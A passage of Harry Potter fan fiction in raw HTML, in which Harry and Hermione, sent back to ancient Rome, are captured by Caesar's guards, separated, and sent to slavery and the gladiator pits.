crossed his arms in front of his chest.&nbsp; &#8220;Hermione, don&#8217;t you think that picture looks a lot like Oliver Wood?&#8221;</p>\n\n<p>Hermione tilted her head to the side regarding the artwork, &#8220;Yes it does, although he is a little older.&nbsp;&nbsp; But it looks almost exactly like him.&#8221;</p>\n\n<p>A fuzzy radio like sound disturbed their concentration on the picture, hearing a voice in the room, Harry and Hermione looked around in all directions.&nbsp; The sound of the voice was faint and gradually getting louder.</p>\n\n<p>&#8220;Harry Potter.&#8221; The voice said.</p>\n\n<p>Harry&#8217;s eyes went wide, &#8220;Yes?&#8221;&nbsp; He said carefully while looking around the room.&nbsp; He was a bit nervous; perhaps it was Voldemort coming to finish the job since it was obvious that the curse didn&#8217;t work.&nbsp; But no matter, Harry would stand his ground and not shrink or wither in front of the so called Dark Lord.&nbsp; If Voldemort wanted Harry to fear him, well he had another thing coming.</p>\n\n<p>&#8220;Harry Potter, the crystal.&nbsp; Come to the crystal.&#8221; The voice beckoned.</p>\n\n<p>Harry started to move when Hermione grabbed his arm, he looked down at her fingers lightly holding onto him.&nbsp; He glanced up and the pure look of concern was clearly visible on her pretty face.&nbsp; </p>\n\n<p>&#8220;No Harry don&#8217;t, it could be a trick.&#8221; She was worried, and did not trust anything that was inside Voldemort&#8217;s rooms.&nbsp; This was after all his palace and Death Eater training camp.</p>\n\n<p>&#8220;Harry, it&#8217;s not a trick. &#8216;Tis I&#8221; The voice paused a moment.&nbsp; &#8220;You know the creator of the Soul Scepter.&#8221;</p>\n\n<p>&#8220;Merlin?&#8221; Hermione&#8217;s voice was quiet as she stood there in awe, why did he seem to pop up whenever something went wrong?&nbsp; But she trusted Merlin without a doubt.</p>\n\n<p>Harry&#8217;s eyes widened in shock, with Hermione&#8217;s hand still on his arm, they moved over towards the crystal ball.&nbsp; It was very similar to the one back in Merlin&#8217;s vault in Camelot.&nbsp; When they approached the crystal they stared down into it.&nbsp; Both Harry and Hermione found Merlin&#8217;s face staring back at them appearing very relieved. </p>\n\n<p>&#8220;Oh thank the fates that you two are all right.&#8221; Merlin said with a tiny smile.</p>\n\n<p>&#8220;What&#8217;s going on, what happened to us?&#8221; Hermione spoke up first.</p>\n\n<p>Merlin took a deep breath, &#8220;You two have been merely transported back through time to the ancient year of forty three BC.&nbsp; This particular curse was very powerful and tends to work similar to the time turner; you do know what that is don&#8217;t you?&#8221;</p>\n\n<p>Hermione nodded, &#8220;Indeed.&#8221;</p>\n\n<p>&#8220;But this is even more powerful magic for to go that far.&#8221; Merlin added</p>\n\n<p>&#8220;How do we get back?&#8221; Harry wasted no time with getting to the point.</p>\n\n<p>&#8220;That&#8230;is the tough part.&#8221; Merlin tried not to let his worry show, but it was nearly impossible.&nbsp; &#8220;In order to get back you must find the Amulet of Torna, when you find it you must take it to the city of <st1:city><st1:place>Torna</st1:place></st1:city>, the only Wizarding city in <st1:country-region><st1:place>Italy</st1:place></st1:country-region>.&nbsp; Remember this is a time when Muggles knew about Wizarding folk, it wasn&#8217;t so concealed yet.&#8221;&nbsp; Merlin took a breath.&nbsp; &#8220;But you have to take the amulet to the heart of Torna; in the citadel is a portal that will allow you to go to any time and place you wish.&nbsp; You will need to plug the amulet into the device that works the portal.&#8221;</p>\n\n<p>&#8220;Somehow this doesn&#8217;t sound like it&#8217;s going to be easy.&#8221; Hermione let out a puff of air.</p>\n\n<p>Merlin nodded, &#8220;It&#8217;s a long and hard journey filled with dangers.&nbsp; But you two can do it, I know you can.&#8221;</p>\n\n<p>Harry rested his fingers against his sinuses as he felt a headache coming on.&nbsp; &#8220;How are we going to even find this amulet, we haven&#8217;t the faintest idea of where such a thing can be.&#8221;</p>\n\n<p>Merlin nodded in understanding, &#8220;The oracles of <st1:place><st1:placename>Nolan</st1:placename>\n\n<st1:placename>Mountain</st1:placename></st1:place> can help you, seek them out.&#8221; Merlin&#8217;s head vanished from the crystal but was replaced by Albus Dumbledore&#8217;s </p>\n\n<p>&#8220;Ah Professor Dumbledore.&#8221; Harry took a breath, &#8220;Why am I not surprised to see you?&#8221; Harry gave off a half grin.</p>\n\n<p>&#8220;Hallo there Harry, how are you doing?&#8221; Dumbledore asked politely.</p>\n\n<p>Harry took in another breath. &#8220;Oh well, Voldemort tried to kill me and I&#8217;m stuck back in the ancient past.&nbsp; Not to mention there will be fierce and horrible creatures after me to enjoy a fine meal.&nbsp; I&#8217;d say I&#8217;m doing just fine and dandy.&#8221;&nbsp; Harry&#8217;s tone was sarcastic as well as his smile.</p>\n\n<p>&#8220;Glad to hear it Harry.&#8221; Dumbledore looked around before focusing on Harry, &#8220;You must watch out for Tom Riddle.&nbsp; When he was fresh out of Hogwarts he had gone back in time looking for powerful ancient magic, that sometimes work better then the updated ones.&nbsp; But he is there, young and power hungry especially for someone no older then eighteen years old.</p>\n\n<p>Harry smirked, &#8220;That means I could kill him, right?&#8221;</p>\n\n<p>&#8220;Harry!&#8221; Hermione gasped. She never heard him talking so favorably of killing someone in her entire life, even if it was the younger version of Voldemort.&nbsp; It was still quite disturbing.</p>\n\n<p>He looked at her. <i>&#8216;Oops&#8217;</i> Maybe he shouldn&#8217;t have said anything like that in front of Hermione.&nbsp; The last thing he wanted to do was scare her. <i>&nbsp;</i>He was saved in Hermione&#8217;s eyes by Merlin&#8217;s quick thinking as his head also came into view. Now Harry was looking at both Dumbledore and Merlin.</p>\n\n<p>&#8220;Harry just avoid him, killing Tom Riddle will cause a different outcome. You don&#8217;t know what will happen if you kill him.&#8221; Merlin hoped he was listening.&nbsp; &#8220;Time is not something to be messed with; the things that have already happened are now carved in fate and if you play with that, you&#8217;ll be doing more damage than good.&#8221;</p>\n\n<p>Harry&#8217;s eyes narrowed.&nbsp; Voldemort killed his parents if there was a way to stop that from happening then he would do it.&nbsp; Of course he wasn&#8217;t going to tell Dumbledore or Merlin that.&nbsp; Harry shook his head slightly and looked back into the crystal.&nbsp; &#8220;I&#8217;ll certainly keep that in mind.&#8221; He hid a smirk.</p>\n\n<p>Dumbledore and Merlin&#8217;s face disappeared and now Ron was looking back at him.</p>\n\n<p>&#8220;Hey Harry, everything all right? Are you and Hermione okay?&#8221; Ron looked genuinely worried.</p>\n\n<p>&#8220;Yeah Ron, we&#8217;re all right.&#8221; Harry smiled a little.</p>\n\n<p>Ron let out a breath of pure relief.&nbsp; &#8220;Oh good.&nbsp; Don&#8217;t ever do that again, you scared us out of our wits.&#8221; Ron teased.</p>\n\n<p>&#8220;Well first you would have to at least have wits Ron.&#8221; Hermione smirked.</p>\n\n<p>&#8220;Ha, ha.&#8221; Ron was sarcastic.</p>\n\n<p>Harry shook his head with amusement.&nbsp; &#8220;Okay Ron, we&#8217;ll try to avoid this in the future how does that sound?&#8221; </p>\n\n<p>Ron nodded with a smile, &#8220;Take care of Herms, don&#8217;t let her order you around too much.&#8221;&nbsp; He lowered his voice to a whisper. &#8220;She can be quite annoying at times.&#8221;</p>\n\n<p>&#8220;I heard that Ron.&#8221; Hermione grinned, &#8220;Just you wait as soon as we get back you are so going to suffer.&#8221;</p>\n\n<p>&#8220;Oooooh like I&#8217;m scared of you.&#8221; Ron teased.</p>\n\n<p>&#8220;You had better be.&#8221; Hermione shot back.</p>\n\n<p>&#8220;Just be careful you two, we are so worried here.&#8221; Ron glanced down.&nbsp; </p>\n\n<p>&#8220;We&#8217;ll be careful.&#8221; Harry answered, trying to save face in front of his friend, he was worried as well.&nbsp; A sudden movement from Hermione caused Harry to look at her.&nbsp; She appeared to be listening to something; Hermione put her finger up against her lips in a signal for him to be quiet.</p>\n\n<p>The door handle rattled and Ron&#8217;s head vanished from the crystal ball.&nbsp; Hermione could hear voices on the other side of the door; the voices were speaking in Italian.&nbsp; At first the voices were confusing but became as clear as English to her.</p>\n\n<p>&#8220;Yes Ezio said he heard voices coming from this Caesar&#8217;s most private study.&#8221; A male voice said. &#8220;No one is ever allowed in here.&#8221;&nbsp; He said as he rattled to door handle again.</p>\n\n<p>&#8220;But the door is locked, who could have been able to get inside?&#8221;&nbsp; Another voice said.&nbsp; &#8220;Come on <st1:city><st1:place>Adrian</st1:place></st1:city>, you know how Ezio is always exaggerating.&#8221;</p>\n\n<p>&#8220;Pietro, we have to check the room,&#8221; The door unlocks and is pushed open.</p>\n\n<p>Since there was nowhere to hide, Hermione and Harry were left out in the open vulnerable to any attack that Voldemort could bring upon them.&nbsp; Grasping his wand behind his back he stood face to face not with Voldemort but with a complete stranger.&nbsp; </p>\n\n<p>&#8220;Oh excuse me sir.&#8221; <st1:city><st1:place>Adrian</st1:place></st1:city> said looking at Harry apologetically, yet he was wondering what in the Gods they were wearing?&nbsp; He didn&#8217;t let his own confusion show. &#8220;We didn&#8217;t know you were in here.&#8221; </p>\n\n<p>Hermione elbowed Harry lightly in the side and whispered, &#8220;Say something.&#8221;</p>\n\n<p>Harry who was rather confused nodded lightly and turned to the man before them, &#8220;Uh&#8230;no, no it&#8217;s quite all right, no harm done.&#8221;&nbsp; He tried to look serious.</p>\n\n<p>&#8220;What are you two discussing, war plans maybe?&#8221; <st1:city><st1:place>Adrian</st1:place></st1:city> tried to contain his excitement then looked right at Harry, &#8220;You did discuss with Caesar that I wanted to join his army right?&#8221;</p>\n\n<p>Not really knowing what to say, Harry simply said, &#8220;Sure.&#8221; </p>\n\n<p><st1:city><st1:place>Adrian</st1:place></st1:city> smiled and backed out of the room closing the door. But Pietro stopped him.</p>\n\n<p>&#8220;What are you doing, who&#8217;s in there?&#8221; </p>\n\n<p>&#8220;Oh it&#8217;s just <st1:city><st1:place>Antony</st1:place></st1:city> and Cleopatra.&#8221; <st1:city><st1:place>Adrian</st1:place></st1:city> said with a shrug of his shoulders.</p>\n\n<p>Pietro glared &#8220;That is impossible.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; <st1:city><st1:place>Adrian</st1:place></st1:city> replied looking in the half open door at Harry and Hermione.</p>\n\n<p>&#8220;Well for one, <st1:city><st1:place>Antony</st1:place></st1:city> and Cleopatra are with Caesar right now, watching the gladiators.&nbsp; There is no way they can be in that room.&#8221; Pietro said pointing to the door.</p>\n\n<p>&#8220;Oh yeah! Then who are they?!&#8221; <st1:city><st1:place>Adrian</st1:place></st1:city> violently thrust opened the door as his temper rose.</p>\n\n<p>Pietro looked into the room and saw the same thing <st1:city><st1:place>Adrian</st1:place></st1:city> saw, but he knew right away that they were not who <st1:city><st1:place>Adrian</st1:place></st1:city> claimed.&nbsp; &#8220;That is not them.&#8221;</p>\n\n<p>&#8220;But&#8212;&#8221; <st1:city><st1:place>Adrian</st1:place></st1:city> was interrupted.</p>\n\n<p>&#8220;They are imposters.&#8221; Pietro shouted, which brought about more individuals who were passing by hearing the loud accusing voice.</p>\n\n<p>Hermione was about to answer when Pietro waved his hand violently in the air, &#8220;Silence woman.&#8221; He looked at Harry, &#8220;What kind of devilry is this?&#8221; Pietro&#8217;s eyes narrowed into angry slits.</p>\n\n<p>&#8220;No devilry.&#8221; Harry answered.</p>\n\n<p>&#8220;Then explain how it is you look exactly like Marc Antony?&#8221; Pietro&#8217;s arms crossed in front of his chest.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Harry lied; he had an idea of why he looked like Marc Antony.&nbsp; It&#8217;s not like he could just say&#8230;well he is a past life of mine and I got somehow thrown back in the past.&nbsp; They would think he lost his mind.</p>\n\n<p>&#8220;You don&#8217;t know, perhaps a few days in the dungeon will make you talk.&#8221; Pietro cried.&nbsp; And as if he conjured up guards, two of them came through the door.&nbsp; </p>\n\n<p>Hermione&#8217;s eyes were wide with worry as she looked at Harry; he pulled his wand from behind his back and pointed it at them.&nbsp; </p>\n\n<p>&#8220;Stay back.&#8221; Harry threatened.</p>\n\n<p>&#8220;Harry, what are you doing?&#8221; She whispered.</p>\n\n<p>&#8220;We are getting out of here.&#8221; Harry was ready to cast a spell.</p>\n\n<p>&#8220;But Harry, they are Muggles&#8230;the consequences not to mention the ministry&#8212;&#8221; She was cut off by Harry looking right at her.</p>\n\n<p>&#8220;The ministry doesn&#8217;t exist during this time, so that doesn&#8217;t matter anymore.&#8221; Harry had pointed out. &#8220;So we aren&#8217;t going to be punished for this.&#8221;</p>\n\n<p>&#8220;Come on Harry use your head, we can&#8217;t cast a spell on Muggles.&nbsp; You don&#8217;t know the damage it could cause.&#8221;</p>\n\n<p>Harry wasn&#8217;t in the mood to listen to her reasons, his irritation was growing.&nbsp; Sometimes she just didn&#8217;t know when to be quiet.&nbsp; This was a time for action not for thinking and she was standing in their way of escape, only because she wouldn&#8217;t stop blabbing.&nbsp;&nbsp; &#8220;Hermione,&#8221; Harry started to say, as the anger clearly heard in his voice.&nbsp; Pietro saw this as his chance while both Harry and Hermione were distracted to attack.&nbsp; He knew very well what that stick was that Harry was holding.&nbsp; Someone passed through with that exact weapon.&nbsp; He wasn&#8217;t going to take any chances.</p>\n\n<p>Pietro gave a small hand signal to two palace guards went forward, catching Harry and Hermione by surprise.&nbsp; They fought against the guards as both their wands were ripped from their hands.&nbsp; Harry received a punch in the face, the guard&#8217;s fist connected right with Harry&#8217;s eye.&nbsp; His, you wouldn&#8217;t hit a guy with glasses would you trick didn&#8217;t quite hold up anymore.&nbsp; The guards managed to get Harry and Hermione into the palace dungeon, where the large iron door was slammed shut.&nbsp; Harry and Hermione had nothing to say to each other.&nbsp; </p>\n\n<p>A many unbearable hours passed as Harry and Hermione sat in the dungeon cell refusing to speak to one another.&nbsp; They had been yelling at each other about whose fault it was since they were thrown in the dungeon.&nbsp; Hermione had made the mistake of opening up that can of worms by simply asking him how long he thought they were going to be in here.&nbsp; It turned into a full blown yelling match.&nbsp; Until finally Harry said he had enough and to just shut up, he hadn&#8217;t felt like talking sense then.</p>\n\n<p>The truth was, they both ruined their chances of escape.</p>\n\n<p>Hermione ruined their chances of escape because she didn&#8217;t want Harry to use any magic on the Muggles.&nbsp; And Harry was just plain horrible thinking he could use magic on Muggles without their being any consequences.&nbsp; But neither was going to let the other know they were both wrong.</p>\n\n<p>Hermione had her knees tucked up against her chest as her chin rested on them, she faced the wall her back to Harry.&nbsp; She hated cells, not that it really made a difference.&nbsp; She was sure a lot of people hated them.&nbsp; But she hated them even more ever since the incident back at the end of last year.&nbsp; Her eyes were wet with tears, she quickly wiped them away.&nbsp; There was no way she was going to show Harry how weak she had become.&nbsp; She didn&#8217;t want his pity; and she still wasn&#8217;t going to admit she was wrong.&nbsp; If he thought she was going to admit anything he had another thing coming.&nbsp; Hermione couldn&#8217;t help her sniffling, hopefully she was quiet enough.</p>\n\n<p>Harry was sitting on the other side of the cell up against the wall with his legs straight, one ankle crossed over the other.&nbsp; His eyes were closed but he wasn&#8217;t asleep, he was thinking. Maybe he should go and tell her that she was right, magic against Muggles would have been very wrong, there were reasons why the laws were there.&nbsp; His head argued. <i>&#8216;No, don&#8217;t be weak.&nbsp; She was wrong.&nbsp; You should have used any means necessary to get away from your captors and what did she do? She stood in your way that&#8217;s what.&nbsp; She should come to you and apologize.&#8217; </i>&nbsp;Yeah, Harry was going to agree with his head and make her come to him but that soft sniffle on the other side of the cell caused his heart to melt.&nbsp; It was no longer her fault and he stood, walking ever so quietly making his way over to her.&nbsp; </p>\n\n<p>He knelt down next to her, facing her side.&nbsp; Harry&#8217;s arms went around her and he felt her wiggling in his hold trying to push him away from her.&nbsp; &#8220;Hermione.&#8221; He spoke quietly.&nbsp; &#8220;I&#8217;m sorry about yelling at you.&#8221;&nbsp; He felt her still trying to get away from him and he was certainly not going to release her until she heard him out.&nbsp; &#8220;Hermione, sweetie, love.&nbsp; I am really sorry.&#8221;</p>\n\n<p>Hermione lifted her hand and pushed him away from her.&nbsp; &#8220;It doesn&#8217;t matter.&#8221; She wiped her eyes and got to her feet.&nbsp; Her back was still towards him.</p>\n\n<p>&#8220;Yes it does, I didn&#8217;t mean to blow up at you I&#8217;m just really angry about what has happened.&#8221;&nbsp; Harry noticed Hermione step away from him as her arms enclosed about her, hugging herself.&nbsp; She was taking that rigid stance, in her own way telling people to stay away from her.&nbsp; &#8220;Hermione, don&#8217;t withdraw from me.&nbsp; Please let&#8217;s talk about this.&#8221;</p>\n\n<p>Hermione shook her head, &#8220;I don&#8217;t want to, you made it perfectly clear whose fault it was being stuck here in this&#8212;&#8221; She looked around and that familiar shudder crept over her &#8220;in this dungeon.&#8221; Her voice sounded a bit high pitched and squeaky.&nbsp; She sniffled again &#8220;You even told me to shut up, so I am.&#8221; She didn&#8217;t turn around or anything, Hermione just stood there trying to keep herself from breaking down completely.&nbsp; She took a couple of breaths to steady her nerves.</p>\n\n<p>&#8220;I feel really bad about that, it isn&#8217;t your fault.&#8221; He took a breath.&nbsp; &#8220;I had no right to take my anger of the situation out on you.&nbsp; I&#8217;m clearly to blame, possibly even more.&#8221; Harry took a step forward, towards her.</p>\n\n<p>She heard him start to move.&nbsp; &#8220;No, just stay there.&#8221;&nbsp; <i>&#8216;Why are you being so hard headed, he apologized what more do you want? Forgive him.&#8217;</i>&nbsp; She said to herself.&nbsp; After taking a deep breath she turned around to find him standing directly in front of her.&nbsp; &#8220;Harry you were right it was my fault, I mean if I hadn&#8217;t stopped you from casting a spell to allow us escape we wouldn&#8217;t be sitting in here right now.&#8221; She looked down at her toes. &#8220;It&#8217;s just I know so much about what happens to Muggles when they get spells cast upon them, I&#8217;ve also dealt with the ministry and they are a not gentle when it comes down to it.&#8221;</p>\n\n<p>&#8220;No Hermione, I wasn&#8217;t thinking about what could happen to Muggles if I cast a spell or curse them.&nbsp; I was blinded by anger.&nbsp; If I was thinking clearly I could have just blasted the window and we could have gotten away.&nbsp; But no you were right I should have used my head.&nbsp; Magic performed on Muggles is against the law for a good reason.&#8221;</p>\n\n<p>Harry stepped even closer to her, &#8220;I will never take my anger out on you again Hermione, you have that promise.&#8221;&nbsp; His hands rested on her shoulders and she looked up at him.&nbsp;&nbsp; Harry didn&#8217;t like it when they yelling at each other like that. Although, she did look rather sexy all fiery and riled up with her hair flying wild and free.&nbsp; He shook his head, he was obsessed. He even loved her anger.&nbsp; Harry took a breath, &#8220;Do you realize that has been the first fight we had since we&#8217;ve been together, and it wasn&#8217;t small either.&#8221;</p>\n\n<p>Hermione snickered. &#8220;That&#8217;s true, it&#8217;s like anything we do is always big, even our fights.&#8221;</p>\n\n<p>&#8220;Which I hope to never have again.&#8221; Harry pulled Hermione against him, embracing her tightly.</p>\n\n<p>&#8220;Sometimes fights are unavoidable; let&#8217;s just promise not to stay mad at each other for too long.&#8221;&nbsp; Hermione&#8217;s arms went around him just as tightly.&nbsp; It was at that moment that the cell door opened, making Harry and Hermione spring apart.</p>\n\n<p>It was Pietro followed by three more soldiers coming into the cell, &#8220;It&#8217;s time to meet your fate imposters.&#8221; Pietro grinned.&nbsp;&nbsp; The three soldiers went towards Harry and Hermione and withdrew their swords, pointing the weapons and waving them about threateningly.&nbsp; Harry and Hermione followed after Pietro while the soldiers where behind them making sure the prisoners would not escape.</p>\n\n<p>Both Harry and Hermione were brought before a man who resembled Oliver Wood who was standing by a large table.&nbsp; Sitting down in a chair next to him was a young lady who looked a lot like Hermione.&nbsp; Harry also saw another man who looked like him standing behind the large table of food.&nbsp; He had his arms crossed and a glare etched into his face.</p>\n\n<p>Harry opened his mouth to speak but was silenced by a quick wave of a hand from Oliver&#8217;s look alike.</p>\n\n<p>&#8220;Silence! I Caesar am to speak first.&#8221; He pointed at Harry. &#8220;Not you.&#8221;&nbsp; He turned to Harry&#8217;s look alike.&nbsp; &#8220;You may ask the questions <st1:city><st1:place>Antony</st1:place></st1:city>.&#8221; Caesar sat down next to the young lady.</p>\n\n<p><st1:city><st1:place>Antony</st1:place></st1:city> came around the other side of the table, still glaring at Harry and Hermione, &#8220;Who are you, and why do you look like Lady Cleopatra and myself?&#8221; He crossed his arms over his chest.</p>\n\n<p>Hermione slipped her hand into Harry&#8217;s and he gave a soft reassuring squeeze before clearing his throat to speak.</p>\n\n<p>&#8220;I know this is probably going to be hard for you to take in sir, but we are your future selves.&nbsp; You and I have the same soul&#8221; Harry said.</p>\n\n<p>&#8220;You really expect us to believe that rubbish?&#8221; <st1:city><st1:place>Antony</st1:place></st1:city> replied with a scowl.</p>\n\n<p>&#8220;How could you not?&#8221; Hermione spoke up, &#8220;Isn&#8217;t the truth staring you in the face.&#8221;</p>\n\n<p><st1:city><st1:place>Antony</st1:place></st1:city> was about to lash out at Hermione for speaking up before it was her turn to speak, when he felt a hand touch his.&nbsp; He looked down at the young lady and gave a nod.</p>\n\n<p>&#8220;Well I certainly don&#8217;t believe it.&#8221; Caesar spat. &#8220;This is clearly done by some sort of trick to take over my empire.&nbsp; The villagers have been getting cleverer by the day, trying to resist the inevitable.&nbsp; This is done by some sort of sorcery; you have come here to take over.&nbsp; Well I won&#8217;t allow it.&nbsp; Guards kill the girl and&#8212;&#8221; He was interrupted by Cleopatra.</p>\n\n<p>She had spoken up, &#8220;Wait Julius.&nbsp; Don&#8217;t kill the girl.&nbsp; Give her to me; I can always use another slave.&#8221;&nbsp; She stood and approached Hermione.&nbsp; &#8220;It&#8217;s such an uncanny resemblance;&#8221; She whispered so only Hermione could hear her, after a few moments of Cleopatra looking at Hermione, her voice rose to a normal pitch as she talked to Caesar. &#8220;I could use a girl like this.&#8221; She turned and smiled sweetly at him.&nbsp;&nbsp; </p>\n\n<p>It appeared that Caesar was deep in thought as he gave a silent nod of approval.&nbsp; He then turned around and looked at <st1:city><st1:place>Antony</st1:place></st1:city>.&nbsp; &#8220;What do you want to do with him?&#8221;</p>\n\n<p><st1:city><st1:place>Antony</st1:place></st1:city> smirked, &#8220;Gladiators, I would like to see him fight for his life in the ring, he probably won&#8217;t last more then two minutes.&#8221; </p>\n\n<p>Hermione clutched Harry&#8217;s whole arm now, she wasn&#8217;t going to let him go.&nbsp; &#8220;No, you can&#8217;t.&#8221;&nbsp; She felt Harry&#8217;s arms go around her just as tightly.</p>\n\n<p>&#8220;So be it.&#8221; Caesar replied ignoring Hermione; he snapped his fingers and about four guards came forward, trying to wrestle Harry and Hermione apart.</p>\n\n<p>&#8220;No, no you can&#8217;t take him I won&#8217;t let you.&#8221; Hermione struggled against the guards hold.</p>\n\n<p>&#8220;Get away from me.&#8221; Harry replied, trying to hold onto Hermione and fight off the guards was no easy task but he was managing just fine.&nbsp; For now.&nbsp; After some time of putting up a fight Hermione was pulled from Harry.&nbsp; It was when Hermione was slapped by a guard with such a force that she fell to the ground.&nbsp; Harry totally lost it.&nbsp; He wanted to rip that soldier&#8217;s head off and he would have if more guards hadn&#8217;t been summoned to keep Harry at bay.</p>\n\n<p>Something hard hit Harry in the back of the head and he fell to the floor unconscious. It took more than a few guards to lift him.</p>\n\n<p>&#8220;No, not Harry please.&#8221; Hermione begged, she had gotten to her knees.&nbsp; &#8220;Take me instead.&#8221;&nbsp; She took a deep breath &#8220;Just not him.&#8221; Her voice quivered from the tears in her eyes.</p>\n\n<p>It was as if no one heard her as she watched Harry being taken away.&nbsp;&nbsp; She got to her feet and tried to run to stop them, but someone&#8217;s foot shot out tripping her, she didn&#8217;t make it in time as the doors closed.&nbsp; Two men lifted her to her feet and started taking her down the hall, she kicked her legs about trying to get free, but they were much too strong.</p>\n\n<p>&#8220;I don&#8217;t know why they don&#8217;t just kill you woman.&#8221; One of them said.</p>\n\n<p>The other man opened the door to a large room and she was thrown inside, she landed on her back, the wind knocked out of her.&nbsp; She heard the door slam closed and lock.&nbsp; Hermione got to her feet and ran to the door, she messed with the handle but it wouldn&#8217;t turn.&nbsp; She banged loudly on the door.&nbsp; &#8220;Let me out of here, right now.&#8221;</p>\n\n<p>&#8220;That&#8217;s useless,&#8221; A feminine voice said from behind her.</p>\n\n<p>Hermione turned around to find to her surprise Lavender Brown, or at least someone who looked exactly like her.&nbsp; &#8220;Wh&#8212;what do you mean?&#8221;</p>\n\n<p>&#8220;They won&#8217;t listen to you, we are all enslaved here.&nbsp; We are to serve our mistress Cleopatra.&#8221; She stood. &#8220;I&#8217;m Meldina.&#8221;</p>\n\n<p>&#8220;Hermione,&#8221; She said back.</p>\n\n<p>Meldina looked at Hermione, &#8220;You look almost exactly like our mistress, but your eyes are a different color and so is your hair and you&#8217;re a bit younger.&#8221;</p>\n\n<p>Hermione looked at the door, &#8220;I have to get out of here.&#8221;</p>\n\n<p>&#8220;That is impossible.&#8221; Another girl said to Hermione, &#8220;They only let us out when its time to fulfill our duties.&#8221;&nbsp; </p>\n\n<p>Hermione looked at the other girl, she looked so much like Zara.&nbsp; She shook her head &#8220;You don&#8217;t understand, I can&#8217;t stay here.&nbsp; Harry needs me; I have to go to him&#8230;to help him.&#8221;&nbsp; She sank to her knees, her hands still on the door handle.&nbsp; </p>\n\n<p>Meldina helped Hermione from off the floor and walked her over to a pile of cushions and silks on the floor.&nbsp;&nbsp; Hermione threw herself into the pillows, finally loosing all dignity she cried hard into the pillow she was hugging tightly.</p>\n\n<p>&#8220;Rosa, this poor girl.&#8221; Meldina couldn&#8217;t help the moisture forming in her eyes as well.&nbsp; The two slave girls watched as Hermione finally cried herself to sleep.</p>\n\n<p>&#8220;Do you think this Harry person is her lover?&#8221; <st1:place>Rosa</st1:place> said with a raised eyebrow.</p>\n\n<p>Meldina nodded, &#8220;I think so.&#8221;</p>\n\n<p>&#8220;They probably sent him to the gladiators.&#8221; <st1:place>Rosa</st1:place> said, &#8220;I&#8217;ll send a message using Falore.&#8221; She pointed to the hawk sleeping in its cage.</p>\n\n<p>&#8220;I know what you&#8217;re thinking <st1:place>Rosa</st1:place>, you think these people are who the prophesy spoke about,&#8221; She watched <st1:place>Rosa</st1:place> nod vigorously. &#8220;Well I don&#8217;t think agree.&#8221; Meldina said, &#8220;I&#8217;ve lost all hope for our freedom.&#8221;</p>\n\n<p>&#8220;Never give up Meldina, never.&#8221;&nbsp; <st1:place>Rosa</st1:place> went and grabbed a piece of parchment and scribbled something on it, she rolled it up.&nbsp; &#8220;Falore.&#8221; She whistled and the hawk was at attention.&nbsp; <st1:place>Rosa</st1:place> smiled and put on her leather glove and stuck her hand in the cage, Falore climbed onto her hand, and he was pulled from the cage.&nbsp; <st1:place>Rosa</st1:place> kissed his head and tied the parchment to his leg.&nbsp; &#8220;You know what to do.&#8221;</p>\n\n<p>The hawk squawked as if he understood what she said.&nbsp; <st1:place>Rosa</st1:place> moved over to the open window and stuck her arm out; Falore took off in the air soaring through the clouds.&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Do you think she&#8217;ll be all right?&#8221; <st1:place>Rosa</st1:place> said coming back to stand next to Meldina.</p>\n\n<p>Meldina sighed, &#8220;I hope so, we should inform the other girls of our new sister.&nbsp; I&#8217;ll go do that.&#8221;&nbsp; She went through a door on the other side of the room that led into another bedroom.</p>\n\n<p>&#8220;Do you think he&#8217;s dead?&#8221; A male voice said</p>\n\n<p>&#8220;One can only hope Enzo.&nbsp; I just wonder why Caesar would send his most faithful and best friend down here to the gladiators.&#8221; The other male said, his voice was rather angry sounding.</p>\n\n<p>&#8220;Well Marcelo maybe he was doing something really wrong, and Caesar finally found out.&#8221; Enzo replied.&nbsp; &#8220;Look he&#8217;s starting to come to.&#8221;</p>\n\n<p>Harry moaned in pain, his eyes opened slowly.&nbsp; His vision was a bit blurred in front of him was a tall red blob and a blondish blob.&nbsp; Harry&#8217;s eyes started coming into focus.&nbsp; &#8220;Ron, Seamus is that you?&#8221;&nbsp;&nbsp; Harry tried to sit up, his head pounded as he pressed his hand to the back of his head.&nbsp; &#8220;Ow, what happened?&nbsp; Where am I?</p>\n\n<p>The two males looked oddly at each other.</p>\n\n<p>&#8220;Have you gone mad? It&#8217;s me Enzo and Marcelo.&#8221; The Seamus look alike gestured towards the Ron look alike.</p>\n\n<p>Harry nodded, trying to get to his feet.&nbsp; Faster then lightning striking, he was lifted in the air and slammed up against the hard stone wall.&nbsp; Harry winced in pain. &#8220;Hey, let go.&#8221; He was much too weak to fight back.</p>\n\n<p>&#8220;I should kill you for sending us down here.&#8221; Marcelo spat.</p>\n\n<p>&#8220;What are you talking about? I don&#8217;t even know who you are.&#8221; Harry said as he was slammed against the wall again.</p>\n\n<p>&#8220;Liar.&#8221; Marcelo spat and he slammed Harry up against the wall again.</p>\n\n<p>&#8220;Marcelo, let him down.&#8221; Another male voice said coming through the small crowd that was now gathered around.</p>\n\n<p>&#8220;Why should I Gino, I&#8217;m gonna kill him for sending us all to our deaths, we&#8217;re lucky that we&#8217;re all still alive.&nbsp; It&#8217;s all his fault.&#8221; Marcelo growled.</p>\n\n<p>&#8220;I think you should kill him.&#8221; Someone else said who was leaning up against the wall.</p>\n\n<p>&#8220;Shut your mouth Frizi, no one wants to hear your shit talk.&#8221; Marcelo shouted at the pure blonde.</p>\n\n<p>Harry had enough, he was more awake and for some reason most of these people wanted to kill him.&nbsp; Well he wasn&#8217;t going to wait around for that.&nbsp; His foot shot out and kicked Marcelo hard in the shin.&nbsp; Harry was immediately dropped, and he fell to the ground on a bunch of dirt and straw.&nbsp; </p>\n\n<p>He looked up at them, &#8220;Look I&#8217;m not who you think I am, my name is Harry Potter and it seems I&#8217;m to suffer the same fate as you all, so don&#8217;t assume you know me when you don&#8217;t&#8221; Harry got to his feet.</p>\n\n<p>Marcelo crossed his arms, &#8220;Oh really, prove it then.&#8221; </p>\n\n<p>Enzo glanced at Harry noticing some differences, &#8220;Well for one Marcelo, Mark Antony doesn&#8217;t have that scar on his forehead, which looks like it&#8217;s been around for awhile.&#8221;</p>\n\n<p>&#8220;All my life, I got it when I was a baby.&#8221; Harry said.</p>\n\n<p>&#8220;You can&#8217;t base anything on a scar Enzo.&#8221;&nbsp; Marcelo spat.&nbsp; &#8220;You just keep that ass away from me and everything will be as smooth as glass.&#8221;&nbsp; Marcelo glared at Harry, &#8220;If you come near me, I will kill you.&#8221;&nbsp; Marcelo&#8217;s 